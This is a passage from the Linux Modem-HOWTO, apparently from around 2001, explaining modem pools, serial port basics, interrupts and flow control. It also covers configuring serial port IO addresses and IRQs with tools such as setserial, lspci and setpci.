One may create an icon for the Window's desktop which points to such a batch file and set the icon properties to "Run in MSDOS Mode". Then by clicking on this icon one sets up the modem and goes to Linux. Another possible way to boot Linux from DOS is to press CTRL-ALT-DEL and tell it to reboot (assuming that you have set things up so that you can boot directly into Linux). The modem remains on the same com port (same IO address) that it used under DOS.

The Newcom ifx modem needs a small kernel patch to work correctly since its simulation of a serial port is non-standard. The patch and other info for using this modem with Linux is at http://quinine.pharmacy.ohio-state.edu/~ejolson/linux/newcom.html.

Rockwell (RPI) Drivers

Some older Rockwell chips need Rockwell RPI (Rockwell Protocol Interface) drivers for compression and error correction. They can still be used with Linux even though the driver software works only under MS Windows. This is because the MS Windows software (which you don't have) does only compression and error correction. If you are willing to operate the modem without compression and error correction then it's feasible to use it with Linux. To do this you will need to disable RPI by sending the modem (via the initialization string) a "RPI disable" command each time you power on your modem. On my old modem this command was +H0. Not having data compression available makes it slower to get webpages but is just as fast when downloading files that are already compressed.


Modem-HOWTO : Modem Pools

 Next Previous Contents

3. Modem Pools

3.1 Introduction

These are multiple modems which might be used by an ISP or by an organization that has a number of phone lines for dialing in and out. There are two types of modem pools: analog and digital. An ISP will use digital so that they can support 56k (V.90, V.92) modems at near maximum speed.

A modem pool could be a number of modems on the same card (such as an analog multi-port modem card) or many modems in an external chassis (something like an external modem). The modems may be analog modems similar to modems used for home/office PCs (can't send above 33.6k even if they are "56k modems"). They also could be "digital modems" which can send at nearly 56k (if you have a good line). The "digital modems" require a digital connection to the telephone line and don't use any serial ports at all. All of these modem pools will require that you install special drivers for them.

3.2 Analog Modem Pools, Multi-modem Cards

A "multimodem card" is short for "multiport modem card". Some put a hyphen after "multi": multi-modem or multi-port. An analog modem pool is just many analog modems (the common home/office modem) provided either on an internal plug-in card or in an external chassis. Each modem comes with a built-in serial port. There is usually a system of sharing interrupts or of handling interrupts by their own electronics, thus removing much of this burden from the CPU. Note that these modems are not "digital modems" and will thus not be able to use 56k for people who dial-in.

Here is a list of some companies that make analog multiport modem cards which plug into slots in a PC. 8 modems/card is common. The cards listed claim to work with Linux and the websites should point you to a driver for them.

Multi-modem Cards (analog, not digital):

  • MultiModemISI by Multi-Tech Systems. 56k or 33.6k, PCI, 4 or 8 ports. ISDN/56k hybrids.
    http://www.multitech.com/PRODUCTS/MultiModemISI/
  • Equinox SST Multi-modem. PCI, 56k, 4 or 8 ports. http://www.equinox.com/product/multi-modem.htm
  • PCI-RAS cards by Perle. 56k, 4 or 8 ports.
    http://www.perle.com/solutions/app_notes/multi_modem/pci_ras_fax.html
  • RocketModem by Comtrol. ISA 33.6k, 4 or 8 port.
    http://www.comtrol.com/sales/specs/rm.htm
  • RocketModem II by Comtrol. PCI 56k, 4 or 6 port.
    http://www.comtrol.com/sales/specs/rmii.htm
  • Multi-modem communication adapters by Digi. http:/www.dgii.com/solutions/mmcommadapters/index.html

3.3 Digital Modems, RAS

"digital modems" are much different than the analog modems that most people use in their PCs. They require a digital connection to the telephone line and don't use serial ports for the interface to the computer. Instead, they interface directly to a computer bus via a special card(s) (which may also contain the "digital modems"). They are able to send at near 56k, something no analog modem can do. They are often a component of "remote access servers" (RASs) or "digital modem pools"

The cables from the phone company that carry digital signals have been designed for high bandwidth so that the same cable carries multiple telephone calls. It's done by "time-division multiplexing". A single phone call in a cable is carried on two different channels, one for each direction. So the RAS must connect each such channel-pair to the appropriate "digital modem" that services that phone call. Such tasks are done by what is sometimes called a "... concentrator".

Now the digital signal received by a "digital modem" may really represent an analog signal which has been sent to it by an analog modem. One way to deal with it would be to convert it to an analog signal and then put that thru an analog modem to get the digital data sent by the analog modem. But why do all this work. Since the signal is already in digital form, why not process it digitally? That's how it's done. The digital signal is processed and converted to another digital stream of bytes which represents data bytes sent by the analog modem. A "digital signal processor" (DSP) is commonly used for this task. A CPU could also handle it but it would be heavily loaded.

Likewise, a "digital modem" must handle sending digital signals in the opposite direction from a RAS to a digital telephone line. Thus it only makes digital-to-digital conversions and doesn't deal in analog at all. It thus is not really a modem at all since it doesn't modulate any analog carrier. So the name "digital modem" is a misnomer but it does do the job formerly done by modems. Thus some "digital modems" call themselves "digital signal processors", or "remote access servers", etc. and may not even mention the word "modem".

Such a RAS system may be a stand-alone proprietary server, a chassis containing digital modems that connects to a PC via a special interface card, or just a card itself. Digi calls one such card a "remote access server concentrator adapter". One incomplete description of what is needed to become an ISP is: See What do I need to be an ISP?. Cyclades promotes their own products here so please do comparison shopping before buying anything.


Modem-HOWTO : Serial Port and Modem Basics

 Next Previous Contents

4. Serial Port and Modem Basics

4.1 What is a Serial Port ?

Intro to Serial

The serial port is an I/O (Input/Output) device.

Most PC's have one or two serial ports. Each has a 9-pin connector (sometimes 25-pin) on the back of the computer. Computer programs can send data (bytes) to the transmit pin (output) and receive bytes from the receive pin (input). The other pins are for control purposes and ground.

The serial port is much more than just a connector. It converts the data from parallel to serial and changes the electrical representation of the data. Inside the computer, data bits flow in parallel (using many wires at the same time). Serial flow is a stream of bits over a single wire (such as on the transmit or receive pin of the serial connector). For the serial port to create such a flow, it must convert data from parallel (inside the computer) to serial on the transmit pin (and conversely).

Most of the electronics of the serial port is found in a computer chip (or a part of a chip) known as a UART. For more details on UARTs see the section

But you may want to finish this section first so that you will hopefully understand how the UART fits into the overall scheme of things.

Pins and Wires

Old PC's used 25 pin connectors but only about 9 pins were actually used so today most connectors are only 9-pin. Each of the 9 pins usually connects to a wire. Besides the two wires used for transmitting and receiving data, another pin (wire) is signal ground. The voltage on any wire is measured with respect to this ground. Thus the minimum number of wires to use for 2-way transmission of data is 3. Except that it has been known to work with no signal ground wire but with degraded performance and sometimes with errors.

There are still more wires which are for control purposes (signalling) only and not for sending bytes. All of these signals could have been shared on a single wire, but instead, there is a separate dedicated wire for every type of signal. Some (or all) of these control wires are called "modem control lines". Modem control wires are either in the asserted state (on) of +12 volts or in the negated state (off) of -12 volts. One of these wires is to signal the computer to stop sending bytes out the serial port cable. Conversely, another wire signals the device attached to the serial port to stop sending bytes to the computer. If the attached device is a modem, other wires may tell the modem to hang up the telephone line or tell the computer that a connection has been made or that the telephone line is ringing (someone is attempting to call in). See the Serial-HOWTO: Pinout and Signals for more details.

4.2 IO Address & IRQ

Since the computer needs to communicate with each serial port, the operating system must know that each serial port exists and where it is (its I/O address). It also needs to know which wire (IRQ number) the serial port must use to request service from the computer's CPU. It requests service by sending an interrupt on this wire. Thus every serial port device must store in its non-volatile memory both its I/O address and its Interrupt ReQuest number: IRQ. See Interrupts. For the PCI bus it doesn't work exactly this way since the PCI bus has its own system of interrupts. But since the PCI-aware BIOS sets up chips to map these PCI interrupts to IRQs, it seemingly behaves just as described above except that sharing of interrupts is allowed (2 or more devices may use the same IRQ number).

I/O addresses are not the same as memory addresses. When an I/O addresses is put onto the computer's address bus, another wire is energized. This both tells main memory to ignore the address and tells all devices which have I/O addresses (such as the serial port) to listen to the address to see if it matches the device's. If the address matches, then the I/O device reads the data on the data bus.

4.3 Names: ttyS0, ttyS1, etc.

The serial ports are named ttyS0, ttyS1, etc. (and usually correspond respectively to COM1, COM2, etc. in DOS/Windows). The /dev directory has a special file for each port. Type "ls /dev/ttyS*" to see them. Just because there may be (for example) a ttyS3 file, doesn't necessarily mean that there exists a physical serial port there.

Which one of these names (ttyS0, ttyS1, etc.) refers to which physical serial port is determined as follows. The serial driver (software) maintains a table showing which I/O address corresponds to which ttyS. This mapping of names (such as ttyS1) to I/O addresses (and IRQ's) may be both set and viewed by the "setserial" command. See What is Setserial. This does not set the I/O address and IRQ in the hardware itself (which is set by jumpers or by plug-and-play software). Thus what physical port corresponds to say ttyS1 depends both on what the serial driver thinks (per setserial) and what is set in the hardware. If a mistake has been made, the physical port may not correspond to any name (such as ttyS2) and thus it can't be used. See Serial Port Devices /dev/ttyS2, etc. for more details>

4.4 Interrupts

When the serial port receives a number of bytes (may be set to 1, 4, 8, or 14) into its FIFO buffer, it signals the CPU to fetch them by sending an electrical signal known as an interrupt on a certain wire normally used only by that port. Thus the FIFO waits for a number of bytes and then issues an interrupt.

However, this interrupt will also be sent if there is an unexpected delay while waiting for the next byte to arrive (known as a timeout). Thus if the bytes are being received slowly (such as someone typing on a terminal keyboard) there may be an interrupt issued for every byte received. For some UART chips the rule is like this: If 4 bytes in a row could have been received, but none of these 4 show up, then the port gives up waiting for more bytes and issues an interrupt to fetch the bytes currently in the FIFO. Of course, if the FIFO is empty, no interrupt will be issued.

Each interrupt conductor (inside the computer) has a number (IRQ) and the serial port must know which conductor to use to signal on. For example, ttyS0 normally uses IRQ number 4 known as IRQ4 (or IRQ 4). A list of them and more will be found in "man setserial" (search for "Configuring Serial Ports"). Interrupts are issued whenever the serial port needs to get the CPU's attention. It's important to do this in a timely manner since the buffer inside the serial port can hold only 16 (1 in old serial ports) incoming bytes. If the CPU fails to remove such received bytes promptly, then there will not be any space left for any more incoming bytes and the small buffer may overflow (overrun) resulting in a loss of data bytes. There is no Flow Control to prevent this.

Interrupts are also issued when the serial port has just sent out all 16 of its bytes from its small transmit buffer out the external cable. It then has space for 16 more outgoing bytes. The interrupt is to notify the CPU of that fact so that it may put more bytes in the small transmit buffer to be transmitted. Also, when a modem control line changes state an interrupt is issued.

The buffers mentioned above are all hardware buffers. The serial port also has large buffers in main memory. This will be explained later

Interrupts convey a lot of information but only indirectly. The interrupt itself just tells a chip called the interrupt controller that a certain serial port needs attention. The interrupt controller then signals the CPU. The CPU then runs a special program to service the serial port. That program is called an interrupt service routine (part of the serial driver software). It tries to find out what has happened at the serial port and then deals with the problem such a transferring bytes from (or to) the serial port's hardware buffer. This program can easily find out what has happened since the serial port has registers at IO addresses known to the the serial driver software. These registers contain status information about the serial port. The software reads these registers and by inspecting the contents, finds out what has happened and takes appropriate action.

4.5 Flow Control

Flow control means the ability to slow down the flow of bytes in a wire. For serial ports this means the ability to stop and then restart the flow without any loss of bytes. Flow control is needed for modems to allow a jump in instantaneous flow rates.

Example of Flow Control

For example, consider the case where you connect a 33.6k external modem via a short cable to your serial port. The modem sends and receives bytes over the phone line at 33.6k bits per second (bps). Assume it's not doing any data compression or error correction. You have set the serial port speed to 115,200 bits/sec (bps), and you are sending data from your computer to the phone line. Then the flow from the your computer to your modem over the short cable is at 115.2k bps. However the flow from your modem out the phone line is only 33.6k bps. Since a faster flow (115.2k) is going into your modem than is coming out of it, the modem is storing the excess flow (115.2k -33.6k = 81.6k bps) in one of its buffers. This buffer would soon overrun (run out of free storage space) unless the high 115.2k flow is stopped.

But now flow control comes to the rescue. When the modem's buffer is almost full, the modem sends a stop signal to the serial port. The serial port passes on the stop signal on to the device driver and the 115.2k bps flow is halted. Then the modem continues to send out data at 33.6k bps drawing on the data it previous accumulated in its buffer. Since nothing is coming into the buffer, the level of bytes in it starts to drop. When almost no bytes are left in the buffer, the modem sends a start signal to the serial port and the 115.2k flow from the computer to the modem resumes. In effect, flow control creates an average flow rate in the short cable (in this case 33.6k) which is significantly less than the "on" flow rate of 115.2k bps. This is "start-stop" flow control.

In the above simple example it was assumed that the modem did no data compression. This would be true when the modem is sending a file which is already compressed and can't be compressed further. Now let's consider the opposite extreme where the modem is compressing the data with a high compression ratio. In such a case the modem might need an input flow rate of say 115.2k bps to provide an output (to the phone line) of 33.6k bps (compressed data). The compression ratio is 3.43 (115.2/33.6) which is much higher than average. In this case the modem is able to compress and the 115.2 bps PC-to-modem flow and send the same data out on the phone line at 33.6bps. There's no need for flow control here. But such a high compression ratio rarely happens so that most of the time flow control is needed to slow down the flow on the 115.2 bps PC-to-modem cable. The flow is stopped and started so that the average flow is usually well under the "on" flow of 115.2 bps.

In the above example the modem was an external modem. But the same situation exists (as of late 2000) for most internal modems. There is still a speed limit on the PC-to-modem speed even though this flow doesn't take place over an external cable. This makes the internal modems compatible with the external modems.

In the above example of flow control the flow was from the computer to a modem. But there is also flow control which is used for the opposite direction of flow: from a modem (or other device) to a computer. Each direction of flow involve 3 buffers: 1. in the modem 2. in the UART chip (called FIFOs) 3. in main memory managed by the serial driver. Flow control protects certain buffers from overflowing. The small UART FIFO buffers are not protected in this way but rely instead on a fast response to the interrupts they issue. FIFO stand for "First In, First Out" which is the way it handles bytes. All the 3 buffers use the FIFO rule but only one of them also uses it as a name. This is the essence of flow control but there are still some more details.

Hardware vs. Software Flow Control

If feasible it's best to use "hardware" flow control that uses two dedicated "modem control" wires to send the "stop" and "start" signals.

Software flow control uses the main receive and transmit wires to send the start and stop signals. It uses the ASCII control characters DC1 (start) and DC3 (stop) for this purpose. They are just inserted into the regular stream of data. Software flow control is not only slower in reacting but also does not allow the sending of binary data unless special precautions are taken. Since binary data will likely contain DC1 and DC3, special means must be taken to distinguish between a DC3 that means a flow control stop and a DC3 that is part of the binary code. Likewise for DC1.

4.6 Data Flow Path; Buffers

Much has been explained about this including flow control, a pair of 16-byte FIFO buffers (in the UART), and a pair of larger buffers inside a device connected to the serial port (such as a modem. But there is still another pair of buffers. These are large buffers (perhaps 8k) in main memory also known as serial port buffers. When an application program sends bytes to the serial port

they first get stashed in the the transmit serial port buffer in main memory. The pair consists of both this transmit buffer and a receive buffer for the opposite direction of byte-flow. Here's an example diagram for the case of browsing the Internet with a browser. Transmit data flow is left to right while receive flow is right to left.

application     8k-byte         16-byte        1k-byte        tele-
BROWSER ------- MEMORY -------- UART --------- MODEM -------- phone
program         buffer          buffer         buffer         line

The serial device driver takes out say 16 bytes from this transmit buffer, one byte at a time and puts them into the 16-byte transmit buffer in the serial UART for transmission. Once in that transmit buffer, there is no way to stop them from being transmitted. They are then transmitted to the modem or other device connected to the serial port which also has a fair sized (say 1k) buffer. When the device driver (on orders from flow control) stops the flow of outgoing bytes from the computer, what it actually stops is the flow of outgoing bytes from the large transmit buffer in main memory. Even after this has happened and the flow to the device connected to the serial port has stopped, an application program may keep sending bytes to the 8k transmit buffer until it becomes fill.

When it gets fill, the application program can't send any more bytes to it (a "write" statement in a C_program blocks) and the application program temporarily stops running and waits until some buffer space becomes available. Thus a flow control "stop" is ultimately able to stop the program that is sending the bytes. Even though this program stops, the computer does not necessarily stop computing. It may switch to running other processes while it's waiting at a flow control stop. The above was a little oversimplified since there is another alternative of having the application program itself do something else while it is waiting to "write".

4.7 Serial Driver Module

The device driver for the serial port is the software that operates the serial port. It is now provided as a serial module. From kernel 2.2 on, this module will normally get loaded automatically if it's needed. In earlier kernels, you had to have kerneld running in order to do auto-load modules on demand. Otherwise the serial module needed to be explicitly listed in /etc/modules. Before modules became popular with Linux, the serial driver was usually built into the kernel (and sometimes still is). If it's built-in don't let the serial module load or else you will have two serial drivers running at the same time. With 2 drivers there are all sorts of errors including a possible "I/O error" when attempting to open a serial port. Use "lsmod" to see if the module is loaded.

When the serial module is loaded it displays a message on the screen about the existing serial ports (often showing a wrong IRQ). But once the module is used by setserial to tell the device driver the (hopefully) correct IRQ then you should see a second display similar to the first but with the correct IRQ, etc. See "Serial Module" in the Serial-HOWTO. See What is Setserial for more info on setserial.


Modem-HOWTO : Configuring Overview

 Next Previous Contents

5. Configuring Overview

Since each modem has an associated serial port and the port has both hardware and software, there are three parts to configuring a modem:

  • Locate the serial port hardware: IO address, IRQ; Done by PnP methods or jumpers, setserial. See Locating the Serial Port: IO address IRQs What is Setserial
  • Configure the serial port driver (high-level): Done by the communication program (stty-like). Sets speed, flow control, etc. See Configuring the Serial Driver (high-level) See What is stty ?
  • Configure the modem itself: Done by the communication program See Modem Configuration

The above omits a few other things that "setserial" can do besides locating the serial ports. But normally you don't need to use them. Setserial may be used in the future to enable super-high speed.

Communication programs include aminicom, seyon, or wvdial (for PPP) and mgetty) for dial-in. Such communication programs require that you configure them although the default configuration they come with may only need a little tweaking.

Unfortunately the communication program doesn't locate the serial port. This "locating" is the low-level PnP configuring of the serial port: setting its IO address and IRQ in both the hardware and the driver. If you are lucky, this will happen automatically when you boot Linux. Setting these in the hardware was formerly done by jumpers and then running "setserial" but today it's done by "Plug-and-Play" software. You may still need "setserial".

But there's a serious problem: Linux (as of early 2001) is not a true Plug-and-Play operating system. However, the latest serial drivers handle Plug-and-Play for some serial ports (including some built-into internal modems). In other cases you may need to use Plug-and-Play tools to set up the configuration although they are not always very user friendly. This may create a difficult problem for you. The next section will go into this in much more detail.


Modem-HOWTO : Locating the Serial Port: IO address, IRQs

 Next Previous Contents

6. Locating the Serial Port: IO address, IRQs

6.1 IO & IRQ Overview

For a serial port to work properly, it must have both an IRQ and an IO address. Without an IO address, it can't be located and will not work at all. Without an IRQ it will need to use inefficient polling methods for which one must set the IRQ to 0. So every serial port needs an IO address and IRQ. In olden days this was set by jumpers on a serial port card. Today it's set by digital signals sent to the hardware and this is part of "Plug-and-Play (PnP).

The driver must also know both the IO address and IRQ so that it can locate the card. Modern drivers (kernel 2.4) determine this by PnP methods so one doesn't need to tell them (by using "setserial"). The driver uses PnP functions provided by Linux to determine what the IO and IRQ are and to set them if necessary. The driver also probes possible serial port addresses to see if there are any serial ports there. This works for the case of jumpers and sometimes works for a PnP port when the driver doesn't do PnP.

Locating the serial port by giving it an IRQ and IO address is low-level configuring. What follows repeats what was said above in more detail. This low-level configuring consists of assigning an IO address, IRQ, and name (such as ttyS2). This IO-IRQ pair must be set in both the hardware and told to the serial driver. We could call this "io-irq" configuring for short. The "setserial" program is one way to tell the driver. The other way is for the driver to use PnP methods to determine/set the IO/IRQ and then remember what it did. For jumpers you must always use "setserial". If you need to configure but don't understand certain details it's easy to get into trouble.

When Linux starts, some effort is made to detect and configure (low-level) a few serial ports. Exactly what happens depends on your BIOS, hardware, Linux distribution, etc. If the serial ports work OK, there may be no need for you to do any more low-level configuring.

If you're having problems with the serial ports, then you may need to do low-level configuring. If you have kernel 2.2 or lower, then you need to do it if you:

  • Plan to use more than 2 ISA serial ports
  • Are installing a new serial port (such as an internal modem)

For kernel 2.2+ you may be able to use more that 2 serial ports without doing any low-level configuring by sharing interrupts. All PCI cards should support this but for ISA it only works for some hardware. It may be just as easy to give each port a unique interrupt if they is available. See Interrupt sharing and Kernels 2.2+

The low-level configuring (setting the IRQ and IO address) seems to cause people more trouble than the high-level, although for many it's fully automatic and there is no configuring to be done. Until the serial driver knows the correct IRQ and IO address, the port will not usually not work at all. Also, PnP ports can be disabled so that they can't be found (except with PnP tools). Applications, and utilities such as "setserial" and "scanport" don't use PnP tools and thus can't detect disabled ports. For example, an IO enabling bit must be set in PCI serial port hardware by PnP so that it's IO address may be used.

Even if the port can be found by normal (non-PnP) software, it may work extremely slow if the IRQ is wrong. See Extremely Slow: Text appears on the screen slowly after long delays.

In the Wintel world, the IO address and IRQ are called "resources" and we are thus configuring certain resources. But there are many other types of "resources" so the term has many other meanings. In summary, the low-level configuring consists of enabling the device, giving it a name (ttyS2 for example) and putting two values (an IRQ number and IO address) into two places:

  1. the device driver (often by running "setserial" at boot-time)
  2. memory registers of the serial port hardware itself

You may watch the start-up (= boot-time) messages. They are usually correct. But if you're having problems, there's a good chance that the ones that look like "setserial" output don't show the true configuration of the hardware (and they are not necessarily supposed to). See I/O Address & IRQ: Boot-time messages.

6.2 PCI Bus Support

If you have kernel 2.4, then there should be support for PnP (either built-in or by modules). Some PCI serial cards can be automatically detected and low-level configured by the serial driver. Others will not be. Kernel 2.2 had no support for PCI serial ports (although some people got them working anyway). The 2.4 serial driver will read the id number digitally stored on the serial hardware to determine how to support it (if it knows how). It should assign the I/O address to it, determine it's IRQ, etc. So you don't need to use "setserial" for it ??

If you have a

but it will not work because the latest serial driver doesn't support it, you can help in attempting to create a driver for it. To do this you'll need to contact the maintainer of the serial driver, Theodore (Ted) Y. Ts'o.

Look at Ted Ts'o's site for the details of what you need to do. Here's a summary of what you need to do to help him. You will need to email Ted Ts'o a copy of the output of "lspci -vv" with full information about the model and manufacturer of the PCI modem (or serial port). Then he will try to point you to a test driver which might work for it. You will then need to get it, compile it and possibly recompile your kernel. Then you will test the driver to see if it works OK for you and report the results to Ted Ts'o. If you are willing to do all the above (and this is the latest version of this HOWTO) then email the needed info to him at: mailto:tytso@mit.edu.

PCI ports are not well standardized. Some use main memory for communication with the PC. Some require special enabling of the IRQ. The output of "lspci -vv" can help determine if one can be supported. If you see a 4-digit IO port, the port might work by just telling "setserial" the IO port and the IRQ. For example, if lspci shows IRQ 10, I/O at 0xecb8 and you decide to name it ttyS2 then the command is:

setserial /dev/ttyS2 irq 10 port 0xecb8 autoconfig

Note that the boot-time message "Probing PCI hardware" means reading the PnP configuration registers in the PCI cards which reveals the IO addresses and IRQs. This is different that the probing of IO addresses by the serial driver which means reading certain IO addresses to see if what's read looks like there's a serial port at that address.

6.3 Common mistakes made re low-level configuring

Here are some common mistakes people make:

  • setserial command: They run it (without the "autoconfig" and auto_irq options) and think it has checked the hardware to see if what it shows is correct (it hasn't).
  • setserial messages: They see them displayed on the screen at boot-time (or by giving the setserial command) and erroneously think that the result always shows how their hardware is actually configured.
  • /proc/interrupts: When their serial device isn't in use they don't see its interrupt there, and erroneously conclude that their serial port can't be found (or doesn't have an interrupt set).
  • /proc/ioports and /proc/tty/driver/serial: People think this shows the actual hardware configuration when it only shows about the same info (possibly erroneous) as setserial.

6.4 IRQ & IO Address Must be Correct

There are really two answers to the question "What is my IO and IRQ?" 1. What the device driver thinks has been set (This is what setserial usually sets and shows.). 2. What is actually set in the hardware. Both 1. and 2. above should be the same. If they're not it spells trouble since the driver has incorrect info on the physical serial port. In some cases the hardware is disabled so it has no IO address or IRQ.

If the driver has the wrong IO address it will try to send data to a non-existing serial port --or even worse, to some other device. If it has the wrong IRQ the driver will not get interrupt service requests from the serial port, resulting in a very slow or no response. See Extremely Slow: Text appears on the screen slowly after long delays. If it has the wrong model of UART there is also apt to be trouble. To determine if both I0-IRQ pairs are identical you must find out how they are set in both the driver and the hardware.

6.5 What is the IO Address and IRQ per the driver ?

Introduction

What the driver thinks is not necessarily how the hardware is actually set. If everything works OK then what the driver thinks is likely correct (set in the hardware) and you don't need to investigate (unless you're curious or want to become a guru). Ways to determine what the driver thinks include: boot-time messages I/O Address & IRQ: Boot-time messages, the /proc directory "files" The /proc directory and setserial, and the "setserial" command.

I/O Address & IRQ: Boot-time messages

In many cases your ports will automatically get low-level configured at boot-time (but not always correctly). To see what is happening, look at the start-up messages on the screen. Don't neglect to check the messages from the BIOS before Linux is loaded (no examples shown here). These BIOS messages may be frozen by pressing the Pause key. Use Shift-PageUp to scroll back to the messages after they have flashed by. Shift-PageDown will scroll in the opposite direction. The dmesg command (or looking at logs in /var/log) will show some of the messages but they seem to miss important ones from setserial. Here's an example of the start-up messages (as of mid 1999). Note that ttyS00 is the same as /dev/ttyS0.

At first you see what was detected (but the irq is only a wild guess):

Serial driver version 4.27 with no serial options enabled
ttyS00 at 0x03f8 (irq = 4) is a 16550A
ttyS01 at 0x02f8 (irq = 3) is a 16550A
ttyS02 at 0x03e8 (irq = 4) is a 16550A

Later setserial shows you  what was saved, but it's not necessarily
correct either:

Loading the saved-state of the serial devices...
/dev/ttyS0 at 0x03f8 (irq = 4) is a 16550A
/dev/ttyS1 at 0x02f8 (irq = 3) is a 16550A
/dev/ttyS2 at 0x03e8 (irq = 5) is a 16550A

Note that there is a slight disagreement: The first message shows ttyS2 at irq=4 while the second shows it at irq=5. dmesg may not display the second message. In most cases the second message is the correct one. But if your having trouble it may be misleading. Before reading the explanation of all of this complexity in the rest of this section, you might just try using your serial port and see if it works OK. If so it may not be essential to read further.

The second message is from the setserial program being run at boot-time. It shows what the device driver thinks is the correct configuration. But this too could be wrong. For example, the irq could actually be set to irq=8 in the hardware (both messages wrong). The irq=5 could be there because someone incorrectly put this into a configuration file (or the like). The fact that Linux sometimes gets IRQs wrong is because it doesn't by default probe for IRQs. It just assumes the "standard" ones (first message) or accepts what you told it when you configured it (second message). Neither of these is necessarily correct. If the serial driver has the wrong IRQ, the serial port is very slow or doesn't seem to work at all.

The first message is a result of Linux probing the serial port addresses but it doesn't probe for IRQs. If a port shows up here it exists but the IRQ may be wrong. Linux doesn't check IRQs because doing so is not foolproof. It just assumes the IRQs are as shown because they are the "standard" values. Your may check them manually with setserial using the autoconfig and auto_irq options but this isn't guaranteed to be correct either.

The data shown by the BIOS messages (which you see at first before Linux is booted) is what is initially set in the hardware. If your serial port is Plug-and-Play (PnP) then it's possible that "isapnp" or "setpci" will run and change these settings. Look for messages about this after Linux starts. The last serial port message shown in the example above should agree with the BIOS messages (as possibly modified by isapnp or setpci). If they don't agree then you either need to change the setting in the port hardware or use setserial to tell the driver what is actually set in the hardware.

Also, if you have Plug-and-Play (PnP) serial ports, they can only be found by PnP software unless the IRQ and IO has been set inside the hardware by Plug-and-Play software. Prior to kernel 2.4 this was a common reason why the start-up messages did not show a serial port that physically exists. A PnP BIOS may automatically low-level configure them. PnP configuring will be explained later.

The /proc directory and setserial

Type "setserial -g /dev/ttyS*". There are some other ways to find this info by looking at "files" in the /proc directory. Be warned that there is no guarantee that the same is set in the hardware.

/proc/ioports will show the IO addresses that the drivers are using. /proc/interrupts shows the IRQs that are used by drivers of currently running processes (that have devices open). It shows how many interrupts have actually be issued. /proc/tty/driver/serial shows much of the above, plus the number of bytes that have been received and sent (even if the device is not now open).

Note that for the IO addresses and IRQ assignments, you are only seeing what the driver thinks and not necessarily what is actually set in the hardware. The data on the actual number of interrupts issued and bytes processed is real however. If you see a large number of interrupts and/or bytes then it probably means that the device is (or was) working. But the interrupts might be from another device. If there are no bytes received (rx:0) but bytes were transmitted (tx:3749 for example), then only one direction of flow is working (or being utilized).

Sometimes a showing of just a few interrupts doesn't mean that the interrupt is actually being physically generated by any serial port. Thus if you see almost no interrupts for a port that you're trying to use, that interrupt might not be set in the hardware. To view /proc/interrupts to check on a program that you're currently running (such as "minicom") you need to keep the program running while you view it.

6.6 What is the IO Address & IRQ of my Serial Port Hardware?

Introduction

If it's PCI or ISA PnP then what's set in the hardware has been done by PnP methods. Even if nothing has been set or the port disabled, PnP ports may still be found by using "lspci -v" or "isapnp --dumpregs". Ports disabled by jumpers (or hardware failures) are lost. See ISA PnP ports, PCI: What IOs and IRQs have been set?, PCI: Is the port enabled?

PnP ports don't store their configuration in the hardware when the power is turned off. This is in contrast to Jumpers (non-PnP) which remain the same with the power off. That's why a PnP port is more likely to be found in a disabled state than an old non-PnP one.

PCI: What IOs and IRQs have been set?

For PCI, the BIOS almost always sets the IRQ and may set the IO address as well. To see how it's set use "lspci -vv" (best) or look in /proc/bus/pci (or for kernels <2.2 /proc/pci). The modem's serial port is often called a "Communication controller". If more than one IO address is shown, the first one is more likely to be it. You can't change the IRQ (at least not with "setpci") This is because if one writes it in it's hardware register no action is taken on it. It's the BIOS that should actually set up the IRQs and then write the correct value to this register for lspci to view. If you must, change the IO address with "setpci" by changing the BASE_ADDRESS_0 or the like. The _0 (or _1) after BASE_ADDRESS must be the correct register.

PCI: Is the port enabled?

If the port communicates via an IO address "then lspci -vv" should show "Control: I/O+ ..." with + meaning that the IO address is enabled. If it shows "I/O-" then you may need to use the setpci command to enable it. For example "setpci -d 151f:000 command=101". The "command" means the command register which is the same as the "Control" register displayed by lspci. The 101h sets two bits: the 1 sets I/O to + and the 100 part keeps SERR# set to +. In this case only the SERR# bit of the Control register was initially observed to be + when the lspci command was run. So we kept it enabled to + by setting bit 8 (where bit 0 is I/O) to 1 by the first 1 in 101. My apologies if setting bits is confusing. Bit 8 is actually the 9th bit since we started counting bits from 0.

ISA PnP ports

For an ISA Plug-and-Play (PnP) port one may try the pnpdump program (part of isapnptools). If you use the --dumpregs option then it should tell you the actual IO address and IRQ set in the port. It should also find an ISA PnP port that is disabled. The address it "trys" is not the device's IO address, but a special address used for communicating with PnP cards.

Finding a port that is not disabled (ISA, PCI, PnP, non-PnP)

Perhaps the BIOS messages will tell you some info before Linux starts booting. Use the shift-PageUp key to step back thru the boot-time messages and look at the very first ones which are from the BIOS. This is how it was before Linux started. Setserial can't change it but isapnp or setpci can. Starting with kernel 2.4, these are built into the serial driver.

Using "scanport" will probe all I/O ports and will indicate what it thinks may be serial port. After this you could try probing with setserial using the "autoconfig" option. You'll need to guess the addresses to probe at (using clues from "scanport"). See What is Setserial.

For a port set with jumpers, the IO ports and IRQs are set per the jumpers. If the port is not Plug-and-Play (PnP) but has been setup by using a DOS program, then it's set at whatever the person who ran that program set it to.

Exploring via MS Windows (a last resort)

For PnP ports, checking on how it's configured under DOS/Windows may (or may not) imply how it's under Linux. MS Windows stores its configuration info in its Registry which is not used by Linux so they are not necessarily configured the same. If you let a PnP BIOS automatically do the configuring when you start Linux (and have told the BIOS that you don't have a PnP operating system when starting Linux) then Linux should use whatever configuration is in the BIOS's non-volatile memory. Windows also makes use of the same non-volatile memory but doesn't necessarily configure it that way.

6.7 Choosing Serial IRQs

If you have Plug-and-Play ports then either a PnP BIOS or a serial driver may configure all your devices for you so then you may not need to choose any IRQs. PnP software determines what it thinks is best and assigns them (but it's not always best). But if you directly use isapnp (ISA bus) or jumpers then you have to choose. If you already know what IRQ you want to use you could skip this section except that you may want to know that IRQ 0 has a special use (see the following paragraph).

IRQ 0 is not an IRQ

While IRQ 0 is actually the timer (in hardware) it has a special meaning for setting a serial port with setserial. It tells the driver that there is no interrupt for the port and the driver then will use polling methods. Such polling puts more load on the CPU but can be tried if there is an interrupt conflict or mis-set interrupt. The advantage of assigning IRQ 0 is that you don't need to know what interrupt is set in the hardware. It should be used only as a temporary expedient until you are able to find a real interrupt to use.

Interrupt sharing, Kernels 2.2+

Sharing of IRQs is where two devices use the same IRQ. As a general rule, this wasn't allowed for the ISA bus. The PCI bus may share IRQs but one can't share the same IRQ between the ISA and the PCI bus. Most multi-port boards may share IRQs. Sharing is not as efficient since every time a shared interrupt is given a check must be made to determine where it came from. Thus if it's feasible, it's nicer to allocate every device its own interrupt.

